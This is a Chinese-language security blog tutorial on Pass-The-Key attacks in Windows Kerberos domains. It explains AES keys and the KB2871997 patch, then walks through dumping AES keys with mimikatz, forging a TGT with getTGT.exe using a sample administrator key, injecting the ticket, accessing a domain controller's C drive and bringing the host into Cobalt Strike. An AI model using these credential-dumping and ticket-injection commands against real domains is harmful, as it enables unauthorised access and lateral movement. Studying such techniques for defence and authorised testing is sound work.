PTK密钥传递
概述
PTK(Pass The Key),中文称之为密钥传递攻击。在PTH密钥传递攻击中,使用的是NTLM-HASH值。PTK密钥传递攻击中使用的是AES256或者AES128的方式,PTK攻击只能用于Kerberos协议认证。
原理
在kerberos协议中 PTK攻击原理
AS-REQ(AS-requests)主要包含用户的身份信息,由客户端发送给AS的数据包,其中有几个重要信息:
PA-DATA pA-ENC-TIMESTAMP:使用用户的hash值或者AES key加密时间戳生成的key
PA-DATA pA-PAC-REQUEST:是否包含有pac(PAC 包含用户的SID、用户所在组等信息)
- kdc-options:协商字段
- cname:请求的用户名
- realm:域名
- sname:请求的服务名
AES KEY
AES KEY是kerberos协议中所使用的,所以一般域用户才有AES KEY。
AES分为两种 aes256和aes128,本地用户是没有aes key的
获取key的值
Mimikatz工具相关命令
privilege::debug
sekurlsa::ekeys
没有加入域环境
加入了域环境
条件
- 域环境
- 支持aes进行认证
KB2871997补丁
Microsoft发布了KB2871997补丁,它主要囊括了Windows 8.1和Windows Server 2012 R2中增强的安全保护机制。
所以,以往的例如:Windows 7,Windows 8,Windows Server 2008R2和Windows Server2012也可以更新该补丁后获得上述安全保护机制。
介绍增强的安全保护机制中有如下部分几点:
- 减少存储在内存中的凭据数据
- 支持现代身份验证(Kerberos AES)
上线
概述
PTK本质是一种认证,这种认证不具有攻击性。如果一些特殊账号的key被攻击者获取并利用PTK传递攻击,攻击者可以生成对应账户的 TGT票据,然后将票据导入到内存中,那么就可以访问目标的计算机。
使用getTGT工具申请TGT,将TGT导入到内存中,实现访问目标计算机,后续配合计划任务、添加服务等工具就可进行CS上线。
操作
1、使用mimikatz工具获取aes key值
privilege::debug
log
sekurlsa::ekeys
提示:在获取key值之前可以生成日志文件,便于查看。
administrator的key值为a6f84b64a0e722cd6bbff472a56d30132f9459f07e7d4a558a1c726ddba1f14f
2、生成TGT
使用getTGT工具进行生成
getTGT.exe 域名/用户名 -aesKey key值
getTGT.exe xbxaq.com/administrator -aesKey a6f84b64a0e722cd6bbff472a56d30132f9459f07e7d4a558a1c726ddba1f14f
执行成功之后,会生成一个.ccache的文件
3、将TGT注入到内存中
使用mimikatz工具
Kerberos::ptc 票据名字
mimikatz kerberos::ptc administrator.ccache
查看票据
mimikatz kerberos::list
4、访问域控上的c盘
接下来就是接合copy、计划任务、添加服务等技术使得目标机器上线。
本文系作者 @小白学安全 原创发布在 xbxaq.com 站点,未经许可,禁止转载!
评论